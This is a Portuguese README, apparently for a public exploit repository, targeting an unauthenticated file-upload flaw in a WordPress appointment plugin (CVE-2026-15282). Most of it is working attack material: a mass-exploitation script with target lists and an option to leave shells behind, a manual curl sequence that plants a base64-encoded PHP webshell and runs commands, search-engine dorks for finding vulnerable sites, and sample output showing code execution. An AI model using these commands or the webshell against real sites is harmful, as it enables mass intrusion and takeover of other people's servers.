Visão Geral

CVE-2026-15282 é uma vulnerabilidade crítica (CVSS 9.8) de upload arbitrário de arquivo não autenticado no plugin Instant Appointment do WordPress (≤ 1.2).

A ação AJAX add_service_front é registrada via wp_ajax_nopriv_ para acesso não autenticado. O manipulador passa image_url e image_name fornecidos pelo usuário diretamente para file_get_contents() e file_put_contents() sem qualquer validação de tipo ou extensão de arquivo.

Versões Afetadas

Versão	Status
≤ 1.2	Vulnerável
> 1.2	Nenhum patch disponível — remova o plugin

Mecanismo da Vulnerabilidade

Causa Raiz

// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}

O manipulador AJAX aceita qualquer image_url (incluindo URIs data://) e escreve qualquer image_name diretamente no diretório de uploads do WordPress.

Fluxo de Ataque

POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
→ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id

Instalação

git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt

Uso

python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup

Argumentos

  -t, --target      Alvo único
  -f, --file        Lista de alvos
  -o, --output      Salvar URLs de RCE em arquivo
  --threads         Workers (padrão: 25)
  --no-cleanup      Deixar shells no alvo
  --debug           Mostrar cada requisição
  -v, --verbose     Saída detalhada

Prova de Conceito

Alvo Único

$ python cve_2026_15282.py -t target.com

  ⠋ Escaneando alvo...  →  OK Escaneando alvo...

  Anfitrião : target.com
  Plugin    : SIM
  Upload    : SIM
  RCE       : SIM
  Shell     : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Saída     : uid=33(www-data) gid=33(www-data)

Varredura em Massa

  [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php

Exploração Manual

# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'

FOFA / Shodan

FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.

Referências

Recurso	Link
WPScan

_{Não afiliado à tenteeglobal ou Instant Appointment.}

CVE-2026-15282

Mais Populares

CVE-2026-15282 — Exploração em Massa de RCE no Instant Appointment

Pré-Autenticação file_get_contents() + file_put_contents() → PHP Webshell